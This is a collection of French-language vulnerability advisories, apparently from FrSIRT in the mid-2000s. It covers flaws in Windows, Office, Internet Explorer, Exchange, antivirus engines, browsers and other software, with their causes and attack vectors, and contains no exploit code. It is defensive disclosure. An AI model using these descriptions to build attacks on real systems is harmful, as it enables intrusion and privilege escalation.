Une vulnérabilité a été identifiée dans Microsoft Windows et Microsoft Office, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Cette faille résulte d'une erreur présente au niveau de l'éditeur IME pour la langue coréenne qui expose de manière insécurisée certaines fonctions exécutées dans le contexte LocalSystem, ce qui pourrait être exploité par un attaquant pouvant accéder, localement ou via le Bureau à distance ou les services Terminal Server, à l'écran d'identification d'un système vulnérable afin d'exécuter des commandes arbitraires avec des privilèges SYSTEM.
 
Note : Seules les versions coréennes de Windows et Office sont directement concernées par cette vulnérabilité, à l'exception de Microsoft Office 2003 Proofing Tools.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du service WebClient qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants authentifiés afin d'exécuter des commandes arbitraires.
 
Note : L'exploitation de cette vulnérabilité par des attaquants distants non-authentifiés est possible uniquement si le compte "Invité" est activé.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service. Ce problème résulte d'une erreur présente au niveau du traitement de certains paquets IGMP (Internet Group Management Protocol) spécialement conçus, ce qui pourrait être exploité par des attaquants non-authentifiés afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité a été identifiée dans le plugin Windows Media Player, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'un tag "embed src" excessivement long, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web malicieuse en utilisant un navigateur autre que Microsoft Internet Explorer (e.g. Netscape ou Firefox).

Une vulnérabilité a été identifiée dans Microsoft Windows Media Player, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement des images bitmap (.bmp), ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue ou à ouvrir un document Word contenant une image Windows Media Player (.wmp) malformée.

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur présente au niveau du traitement de certaines images Windows Metafile (WMF) spécialement conçues, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir une image malformée ou à visiter un site web malveillant en utilisant Internet Explorer.

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau de la fonction glisser-déposer (Drag et Drop) qui ne valide pas correctement certains événements HTML (DHTML) dynamiques, ce qui pourrait être exploité par un site web malveillant afin de contourner les mesures de sécurité et placer des fichiers malicieux au sein d'un système vulnérable en incitant un utilisateur à déplacer un objet depuis une fenêtre web spécialement conçue vers une seconde fenêtre pointant vers des ressources locales.
 
Note : L'exploitation de cette vulnérabilité nécessite une forte interaction avec l'utilisateur.

Plusieurs vulnérabilités ont été identifiées dans Microsoft HTML Help Workshop, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs de type buffer overflow présentes au niveau de la gestion de certains fichiers ".hhp" contenant un champ "Compiled File", "Contents File", "Index File", "Sample list file", "Error log file" ou "Full text search stop list file" excessivement long, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier ".hhp" malicieux.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des utilisateurs malveillants afin d'obtenir des privilèges élevés. Ce problème résulte d'une erreur de permissions où des utilisateurs authentifiés et non-privilégiés peuvent, par défaut, modifier la configuration des services Simple Service Discovery Protocol (SSDP) et Universal Plug et Play Device Host (UPnP), ce qui pourrait être exploité par des attaquants locaux afin de modifier les fichiers associés à un service vulnérable et exécuter des programmes malicieux avec des privilèges élevés.
 
Note : Les services NetBIOS over TCP (NetBT) et Smart Card (SCardSvr) sont affectés par cette faille de sécurité. Cependant, l'exploitation n'est possible que si l'attaquant possède déjà des privilèges élevés.

Une vulnérabilité a été identifiée dans Microsoft Outlook et Microsoft Exchange, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau du traitement de certains fichiers attachés TNEF (Transport Neutral Encapsulation Format), ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en envoyant vers un système vulnérable un email spécialement conçu.

Une vulnérabilité critique a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type heap overflow présente au niveau de la librairie "T2EMBED.DLL" et sa fonction "MTX_LZCOMP_UnPackMemory" qui ne gèrent pas correctement certaines polices au format EOT (Embedded Open Type), ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page Web spécialement conçue ou à lire un email malicieux.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur présente au niveau de l'outil "Aperçu des images et des télécopies Windows" qui ne gère pas correctement certaines images Windows Metafile (WMF) spécialement conçues, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir une image malformée ou à visiter un site web malveillant en utilisant Internet Explorer.

Plusieurs vulnérabilités critiques ont été identifiées dans Microsoft Internet Explorer, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'erreurs de type buffer overflow présentes au niveau de l'initialisation de certains objets COM en tant que contrôleurs ActiveX, ce qui pourrait être exploité via un site web malicieux afin d'exécuter des commandes arbitraires avec les privilèges de l'utilisateur connecté.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants afin d'exécuter des commandes arbitraires ou causer un déni de service.
 
Le premier problème résulte d'une erreur de type buffer overflow présente au niveau du Microsoft Distributed Transaction Coordinator (MSDTC) qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants locaux ou distants afin d'exécuter des commandes arbitraires.
 
La seconde faille est due à une erreur de type buffer overflow présente au niveau de COM+ qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants locaux ou distants afin d'exécuter des commandes arbitraires.
 
La troisième et la quatrième vulnérabilité sont présentes au niveau du Distributed Transaction Coordinator qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants distants afin de causer un déni de service.

Microsoft a annoncé, via son bulletin  909444, la découverte de plusieurs régressions liées à l'installation du correctif de sécurité MS05-051. Ces problèmes concernent les systèmes Windows 2000, XP et 2003, où les permissions du répertoire "%windir%\registration" (contenant les fichiers .clb) ont été modifiées par l'administrateur.
 
Dans le cas où ces permissions ne sont pas celles définies par défaut, l'installation du correctif MS05-051 peur provoquer le dysfonctionnement de certains services et/ou applications (firewall, connexions réseau, IIS).
 
Afin de résoudre ces problèmes, il est recommandé de restaurer les permissions du catalogue COM+ (%windir%\registration)

Une vulnérabilité critique a été identifiée dans Microsoft DirectX, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau de DirectShow qui ne gère pas correctement certains fichiers media malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter de commandes arbitraires en incitant un utilisateur à visiter une page HTML malicieuse ou à ouvrir un fichier ".avi" spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable.
 
La première et la seconde faille sont dues à des erreurs présentes au niveau de la gestion de certaines propriétés associées aux fichiers ".lnk", ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier ".lnk" spécialement conçu.
 
La troisième vulnérabilité résulte d'une erreur présente au niveau de Web View et le traitement de certains champs inclus avec des documents malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visionner un fichier spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows et Microsoft Exchange, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente aux niveaux des Collaboration Data Objects (CDO) qui ne gèrent pas correctement certains messages malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en envoyant, vers CDOSYS et CDOEX, un message malformé.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des utilisateurs malveillants afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de type buffer overflow présente au niveau du service Plug and Play (PnP) qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants authentifiés afin d'exécuter des commandes arbitraires avec des privilèges élevés.
 
Note : sous Windows 2000 et Windows XP SP1, un utilisateur authentifié pourrait exploiter cette vulnérabilité à distance. Sous Windows XP SP2, seul un administrateur peut accéder au service à distance. La vulnérabilité est donc, sous Windows XP SP2, exploitable en local uniquement.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau du CSNW (Client Service for NetWare) qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires distantes.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants locaux afin de causer un déni de service. Le problème résulte d'une erreur présente au niveau du gestionnaire de connexions réseau qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des utilisateurs malveillants afin d'altérer le fonctionnement et les connexions d'un système vulnérable.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type directory traversal présente au niveau de la gestion de certains fichiers dont le nom contient la séquence "../", ce qui pourrait être exploité afin de placer un fichier malicieux dans un répertoire arbitraire du système en incitant un utilisateur à télécharger, depuis un serveur FTP, un fichier spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows XP, elle pourrait être exploitée par des attaquants locaux afin d'accéder à des informations sensibles. Le problème résulte d'une erreur présente au service Wireless Zero Configuration qui ne filtre pas correctement les appels "WZCQueryInterface()", ce qui pourrait être exploité par des utilisateurs malveillants afin d'obtenir des informations sensibles (e.g. les SSIDs ou les clés WEP).

Comme prévu, Microsoft a mis à jour son premier « correctif cumulatif pour Windows 2000 Service Pack 4 ». Cette mise à jour devrait corriger les problèmes de compatibilité rencontrés avec certaines applications tierces et notamment avec certains services d'impression réseau utilisés en entreprise. Ce correctif cumulatif lors de sa première publication en juin dernier avait effectivement causé plusieurs problèmes de ce type.

Une vulnérabilité a été identifiée dans Microsoft Exchange Server 2003, elle pourrait être exploitée par des utilisateurs malveillants afin de causer un déni de service. Le problème résulte d'une erreur inconnue présente au niveau du service Microsoft Exchange Information Store (Store.exe) quand un utilisateur IMAP version 4rev1 (Internet Message Access Protocol) tente de lister les dossiers publics, ce qui pourrait provoquer le crash du serveur.
 
Note : Cette vulnérabilité existe uniquement dans le cas où l'utilisateur malveillant n'a pas de boite privée et le serveur n'autorise pas les utilisateurs IMAP4 à répertorier les dossiers publics.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants locaux afin de contourner les mesures de sécurité et obtenir des privilèges élevés. Le problème résulte d'une erreur de conception présente au niveau du model de sécurité Windows qui ne filtre pas correctement la fonction "keybd_event" pendant l'exécution d'applications partagées ou restreintes, ce qui pourrait être exploité par des attaquants locaux afin de passer outre les restrictions sécuritaires (e.g. imposées par la commande "runas" ) et obtenir des privilèges élevés.

Une faiblesse a été identifiée dans Microsoft Windows, elle pourrait être exploitée localement afin de masquer certaines informations. Le problème résulte d'une erreur présente au niveau de l'interface graphique du firewall Windows qui ne gère pas correctement certaines entrées spécialement conçues, ce qui pourrait être exploité par un attaquant ou un ver/virus (ayant déjà compromis le système) afin de créer des exceptions invisibles (autoriser l'accès à un port par exemple).
 
Note : cette faiblesse concerne l'interface graphique du firewall. La commande "Netsh" n'est donc pas affectée.

Une vulnérabilité critique a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau de l'initialisation de l'objet "Msdds.dll" en tant que contrôleur ActiveX, ce qui pourrait être exploité via un site web malicieux afin d'exécuter des commandes arbitraires avec les privilèges de l'utilisateur connecté.
 
Note : la librairie "Msdds.dll" est installée avec Microsoft Office et avec Microsoft Visual Studio. Seuls les systèmes contenant cette librairie sont potentiellement vulnérables.
 
Cette vulnérabilité a été confirmée sous Windows XP SP2 avec msdds.dll version 7.0.9064.9112.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par un attaquant local ou un ver/virus afin de masquer certaines informations. Le problème résulte d'une erreur présente au niveau de l'éditeur du registre "regedt32.exe" qui n'affiche pas correctement certaines clés dont le nom est excessivement long, ce qui pourrait être exploité par un utilisateur malveillant ou un ver/virus afin de masquer certaines clés du registre.
 
Note : l'utilitaire "reg" (%system%\reg.exe) n'est pas affecté par cette vulnérabilité.

Une vulnérabilité a été identifiée dans Microsoft Microsoft Internet Information Services (IIS), elle pourrait être exploitée par des attaquants distants afin de spoofer certaines informations. Le problème résulte d'une erreur présente au niveau du traitement de la variable "SERVER_NAME" qui n'est pas correctement déterminée, ce qui pourrait être exploité par un attaquant afin de spoofer cette variable et accéder à des portions du code source de certaines pages ASP.
 
Note : Cette faille pourrait être exploitée afin de contourner les mesures de sécurité si une application web base utilise une authentification basée sur la variable "SERVER_NAME".

Une vulnérabilité critique a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable ou des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de type buffer overflow présente au niveau du service Print Spooler "Spoolsv.exe" qui ne gère pas correctement certains messages malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires.
 
Note : Sous Windows XP Service Pack 2 et Windows Server 2003, cette vulnérabilité provoque uniquement un déni de service.

Deux vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants afin de causer un déni de service, obtenir des informations sensibles, ou conduire des attaques par spoofing.
 
Le premier problème résulte d'une erreur présente au niveau de la fonction utilisée par les contrôleurs de domaine afin de gérer les messages Kerberos (port 88), ce qui pourrait être exploité par des attaquants authentifiés afin d'altérer le fonctionnement d'un système vulnérable.
 
La seconde vulnérabilité est due à une erreur présente au niveau de l'implémentation PKINIT qui ne valide pas correctement les données reçues, ce qui pourrait être exploité par un attaquant local afin de conduire des attaques par spoofing et accéder à des informations sensibles.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service. Le problème résulte d'une erreur inconnue présente au niveau du protocole RDP (Remote Desktop Protocol) qui ne gère pas correctement certains paquets spécialement conçus (port 3389), ce qui pourrait être exploité par un attaquant distant afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité critique a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable ou des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de type buffer overflow présente au niveau de l'interface TAPI (Telephony Application Programming Interface) qui ne gère pas correctement certains messages malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires.
 
Note : Un attaquant non-authentifié peut exploiter à distance cette vulnérabilité sous Windows 2000 Server. Sous Windows 2000 Professionnel et Windows XP, cette vulnérabilité est exploitable localement. Sous Windows Server 2003, TAPI n'est accessible qu'aux utilisateurs authentifiés.

Une vulnérabilité critique a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable ou des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de type buffer overflow présente au niveau du service Plug and Play qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires.
 
Note : Un attaquant non-authentifié peut exploiter à distance cette vulnérabilité sous Windows 2000. Seul un utilisateur authentifié peut exploiter cette vulnérabilité sous Windows XP Service Pack 1. Seul un administrateur peut accéder au composant affecté sur Windows XP Service Pack 2 et Windows Server 2003 (dans ce cas, il s'agit strictement d'une vulnérabilité exploitable localement).

Plusieurs vulnérabilités critiques ont été identifiées dans Microsoft Internet Explorer, elles pourraient être exploitées par des sites web malveillants afin de compromettre un système vulnérable.
 
Le premier problème résulte d'une erreur de type buffer overflow présente au niveau de la gestion de certaines images JPEG spécialement conçues, ce qui pourrait être exploité via un site web ou un email malicieux afin d'exécuter des commandes arbitraires avec les privilèges de l'utilisateur connecté.
 
La seconde faille et due à une erreur de type cross domain scripting présente au niveau du processus selon lequel certaines URL sont interprétées lors du passage d'une page Web à un dossier Web via WebDAV, ce qui pourrait être exploité par des attaquants afin d'obtenir des informations sensibles ou exécuter des commandes arbitraires.
 
La dernière vulnérabilité est due à une erreur de type buffer overflow présente au niveau de l'initialisation de certains objets COM en tant que controleurs ActiveX, ce qui pourrait être exploité via un site web malicieux afin d'exécuter des commandes arbitraires avec les privilèges de l'utilisateur connecté.

Deux vulnérabilités ont été identifiées dans Microsoft ActiveSync, ce qui pourrait être exploité par des attaquants distants afin d'obtenir des informations sensibles ou causer un déni de service. Le premier problème résulte d'une erreur de conception présente aux niveaux des réponses d'authentification renvoyées par le serveur, ce qui pourrait être exploité afin de vérifier la validité des IDs en étudiant les réponses renvoyées par un système vulnérable. La seconde faille résulte d'une erreur présente au niveau de la routine d'authentification qui ne gère pas correctement des tentatives de connexion répétées (port 5679/TCP), ce qui pourrait être exploité afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service. Le problème résulte d'une erreur inconnue présente au niveau du protocole RDP (Remote Desktop Protocol) qui ne gère pas correctement certains paquets spécialement conçus (port 3389), ce qui pourrait être exploité par un attaquant distant afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité critique a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau du module de gestion des couleurs qui ne valide pas correctement les informations du profil ICC (International Color Consortium), ce qui pourrait être exploité afin d'exécuter des commandes arbitraires via un site web malicieux ou un email forgé contenant une image spécialement conçue.

Une vulnérabilité critique a été identifiée dans FileZilla Server, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie Zlib qui ne décompresse pas correctement certaines données spécialement conçues, ce qui pourrait être exploité afin de causer un déni de service. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-0978
 
Note : Selon l'éditeur, cette vulnérabilité ne permet pas l'exécution de commandes arbitraires car le dispositif anti-overflow est activé par défaut.

Plusieurs vulnérabilités ont été identifiées dans le navigateur Opera, elles pourraient être exploitées afin de conduire des attaques par spoofing ou cross site scripting.
 
Le premier problème résulte d'une erreur présente au niveau du traitement des fichiers transmis via une entête "Content-Disposition" forgée, ce qui pourrait être exploité afin de convaincre un utilisateur de télécharger et d'installer un programme malicieux ayant l'apparence d'un programme de confiance.
 
La seconde vulnérabilité est due à une erreur présente au niveau de la gestion des images liées à des URL javascript, ce qui pourrait être exploité afin de conduire des attaques par cross site scripting.
 
La dernière faille est due à une erreur inconnue pouvant être exploitée afin de détourner et/ou masquer des liens web.

Une vulnérabilité critique a été identifiée dans les antivirus Sophos, elle pourrait être exploitée par un attaquant distant ou un ver/virus afin de compromettre un système vulnérable.
 
Le problème résulte d'une erreur de type heap overflow présente au niveau du traitement de certains fichiers malformés, ce qui pourrait être exploité afin d'exécuter des commandes arbitraires distantes en envoyant, vers un antivirus vulnérable, un email spécialement conçu. Aucun détail technique n'a été révélé.

Plusieurs vulnérabilités critiques ont été identifiées dans le navigateur Netscape, elles pourraient être exploitées par des sites web malicieux afin de compromettre un système vulnérable. Ces failles, initialement découvertes dans Mozilla et Firefox, résultent d'erreurs multiples présentes au niveau du traitement des objets et des documents JavaScript, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-1075
 
Note : Deux autres vulnérabilités ont été corrigées. Aucun détail technique n'a été révélé.

Plusieurs vulnérabilités ont été identifiées dans Clam AntiVirus (ClamAV), elles pourraient être exploitées par des vers/virus afin de compromettre un système vulnérable.
 
Le premier problème résulte d'une erreur de type integer overflow présente aux niveaux des fonctions "tnef_attachment()" et "tnef_message()" [tnef.c] qui ne gèrent pas correctement une valeur "length" négative, ce qui pourrait être exploité par un attaquant afin d'exécuter des commandes arbitraires en envoyant, vers un système vulnérable, un email malicieux contenant un fichier TNEF spécialement conçu.
 
La seconde vulnérabilité est due à une erreur de type integer overflow présente au niveau de la fonction "read_chunk_entries()" [chmunpack.c] qui ne gère pas correctement une valeur "length" négative, ce qui pourrait être exploité par un attaquant afin d'exécuter des commandes arbitraires en envoyant, vers un système vulnérable, un email malicieux contenant un fichier CHM spécialement conçu.
 
La dernière faille est due à une erreur de type integer overflow présente au niveau de la fonction "unfsg()" [fsg.c] qui ne gère pas correctement des valeurs "backbytes" et "backsize" négatives, ce qui pourrait être exploité par un attaquant afin d'exécuter des commandes arbitraires en envoyant, vers un système vulnérable, un email malicieux contenant un fichier FSG spécialement conçu.

Une vulnérabilité a été identifiée dans Apache, elle pourrait être exploitée par des attaquants afin de causer un déni de service. Le problème résulte d'une erreur de type buffer overflow présente au niveau de la fonction "ssl_callback_SSLVerify_CRL()" [modules/ssl/ssl_engine_kernel.c] qui ne gère pas correctement certaines listes de révocation de certificat (CRL) spécialement conçues, ce qui pourrait être exploité afin d'altérer le fonctionnement d'un système vulnérable.
 
Note : par défaut, Apache n'utilise aucune liste de révocation de certificat (CRL). Si Apache est configuré pour utiliser une telle liste, cette dernière devra être malicieuse afin de provoquer l'overflow.

Deux vulnérabilités ont été identifiées dans Avast! Antivirus, elles pourraient être exploitées par des attaquants ou des vers/virus afin de compromettre un système vulnérable.
 
Le premier problème résulte d'une erreur de type directory traversal présente au niveau de la librairie "UNACEV2.DLL" qui ne filtre pas correctement des archives ACE contenant des fichiers spécialement conçus, ce qui pourrait être exploité par un ver/virus afin de placer des fichiers malicieux dans des répertoires arbitraires du système.
 
La seconde vulnérabilité résulte d'une erreur de type stack overflow présente au niveau de la librairie "UNACEV2.DLL" qui ne gère pas correctement des archives ACE contenant des fichiers dont les noms sont extrêmement longs (plus de 290 octets).

Une vulnérabilité a été identifiée dans plusieurs produits Sophos, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service. Le problème résulte d'une erreur présente au niveau du traitement de certaines archives ZIP compressées avec l'algorithme BZIP2 et contenant des champs spécialement conçus, ce qui pourrait être exploité afin d'altérer le fonctionnement d'un système vulnérable via un email contenant une archive forgée.

Une vulnérabilité a été identifiée dans Winamp, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau du traitement des fichiers media contenant des tags ID3v2 extrêmement longs, ce qui pourrait être exploité afin d'exécuter des commandes arbitraires en incitant un utilisateur à ajouter un fichier MP3 à sa playlist puis lire ce fichier malicieux.

Deux vulnérabilités ont été identifiées dans Clam AntiVirus (ClamAV), elles pourraient être exploitées par des attaquants distants afin de causer un déni de service.
 
- Le premier problème résulte d'une erreur présente au niveau de la fonction "ENSURE_BITS()" qui ne filtre pas correctement les entêtes, ce qui pourrait être exploité via un fichier cabinet spécialement conçu afin de causer un déni de service.
 
- La seconde vulnérabilité réside au niveau de la fonction "cli_msexpand()", ce qui pourrait être exploité par un attaquant afin d'altérer le fonctionnement d'une application vulnérable.

Des vulnérabilités critiques ont été identifiées dans plusieurs produits RealNetworks, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable.
 
- Le premier problème résulte d'une erreur présente au niveau du traitement des fichiers MP3, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des contrôleurs ActiveX ou écraser des fichiers arbitraires présents au sein d'un système vulnérable.
 
- La seconde faille est due à une erreur de type heap overflow présente au niveau du gestionnaire RealText qui ne gère pas correctement certains fichiers RealMedia spécialement conçus, ce qui pourrait être exploité via un site web malicieux afin d'exécuter des commandes arbitraires avec les privilèges de l'utilisateur connecté.
 
- La troisième vulnérabilité résulte d'une erreur de type buffer overflow présente au niveau du fichier "vidplin.dll" qui ne traite pas correctement certains fichiers AVI spécialement conçus, ce qui pourrait être exploité via un site web malicieux afin d'exécuter des commandes arbitraires distantes avec les privilèges de l'utilisateur connecté.
 
- Le dernier problème résulte d'une erreur inconnue qui, combinée à certaines versions d'Internet Explorer, pourrait permettre la création et l'exécution de fichiers malicieux au sein d'un système vulnérable.

Une vulnérabilité a été identifiée dans plusieurs navigateurs web, elle pourrait être exploitée par des sites malicieux afin de conduire des attaques par spoofing ou phishing. Le problème est que les boîtes de dialogue JavaScript n'indiquent pas leurs origines, ce qui pourrait être exploité via un lien JavaScript spécialement conçu afin d'ouvrir une boîte de dialogue malicieuse ayant l'apparence d'une fenêtre générée par un site de confiance.

Une vulnérabilité a été identifiée dans SpamAssassin, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service. Le problème résulte d'une erreur présente au niveau du traitement des messages contenant des entêtes extrêmement longues, ce qui pourrait être exploité afin d'altérer le fonctionnement de l'application via un message spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Opera, elles pourraient être exploitées par des attaquants distants afin de contourner les mesures de sécurité ou réaliser des attaques par cross site scripting.
 
- Le premier problème résulte d'une erreur présente au niveau de la gestion de certains objets "XMLHttpRequest", ce qui pourrait être exploité afin d'accéder à des ressources externes au domaine pour lequel l'objet a été exécuté.
 
- La seconde vulnérabilité est due à une erreur de permissions présente au niveau de la gestion d'URLs "javascript:", ce qui pourrait être exploité afin de conduire des attaques par cross site scripting.
 
- La dernière faille résulte d'une erreur présente au niveau de la gestion des redirections (si l'option "Redirection automatique" est désactivée), ce qui pourrait être exploité afin de conduire des attaques par cross site scripting.

Sun vient de publier des correctifs de sécurité pour sa plateforme Java, corrigeant deux vulnérabilités critiques qui pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable.
 
Le premier problème concerne Java 2 Platform Standard Edition (J2SE), il résulte d'une erreur présente au niveau de la gestion de certaines applets malformées, ce qui pourrait être exploité via une page web malicieuse afin de lire/placer des fichiers arbitraires sur un système vulnérable ou exécuter des application locales avec les privilèges de l'utilisateur connecté.
 
La seconde vulnérabilité affecte Java Web Start, elle est due à une erreur présente au niveau des exécutables "javaws.exe" (Windows) et "javaws" (Solaris and Linux) qui ne manipulent pas correctement certains fichiers "JNLP" spécialement conçus, ce qui pourrait être exploité via une page web forgée, afin d'installer des fichiers malicieux sur un système vulnérable (virus, trojan...). Une faille similaire a déjà été corrigée en mars dernier.
 
Le risque lié à ces vulnérabilités est qualifié de "Critique" par le FrSIRT. Il est recommandé d'installer les nouvelles versions de Java.
 
Note : Les navigateurs Internet Explorer, Mozilla, Firefox et Opera (Windows et *nix) peuvent être affectés par cette vulnérabilité s'ils utilisent une version vulnérable de Java. Pour connaître la version Java installée sur votre système Windows, utilisez le menu Démarrer - Exécuter - cmd - puis entrez la commande "java -fullversion" (sans les guillemets).

Une vulnérabilité a été identifiée dans Symantec pcAnywhere, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de conception présente au niveau de l'option "Caller Properties" (si l'application est exécutée en tant que service), ce qui pourrait être exploitée par un utilisateur local afin d'exécuter des commandes arbitraires avec les privilèges SYSTEM.

Une vulnérabilité a été identifiée dans plusieurs produits Macromedia, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de permissions présente au niveau du service eLicensing dont les ACLs (Access Control List) permettent l'accès au groupe "Utilisateurs", ce qui pourrait être exploité par des attaquants locaux afin d'exécuter des commandes arbitraires avec les privilèges SYSTEM.

Une vulnérabilité a été identifiée dans plusieurs produits Adobe, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur de permissions présente au niveau du service de gestion des licences dont les ACLs (Access Control List) permettent l'accès au groupe "Utilisateurs", ce qui pourrait être exploité par des attaquants locaux afin d'exécuter des commandes arbitraires avec les privilèges "Administrateur".

Deux vulnérabilités ont été identifiées dans Gaim, elles pourraient être exploitées par des attaquant distants afin de causer un déni de service. Le premier problème résulte d'une erreur présente au niveau du protocole Yahoo! qui ne gère pas correctement des fichiers dont le nom contient des caractères non-ASCII, ce qui pourrait provoquer l'arrêt de l'application. La seconde faille se situe au niveau du protocole MSN qui ne manipule pas correctement certains messages forgés, ce qui pourrait être exploité par un attaquant afin d'altérer el fonctionnement d'une application vulnérable.

Une vulnérabilité a été identifiée dans Kaspersky AntiVirus, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Le problème résulte d'une erreur présente au niveau du pilote "klif.sys" dont les fonctions sont appelées directement et de manière insécurisée par un utilisateur non-privilégié, ce qui pourrait être exploité par un utilisateur malicieux afin d'exécuter des commandes arbitraires avec les privilèges Kernel.
 
Note : Cette vulnérabilité n'existe que sous des systèmes Windows 2000.

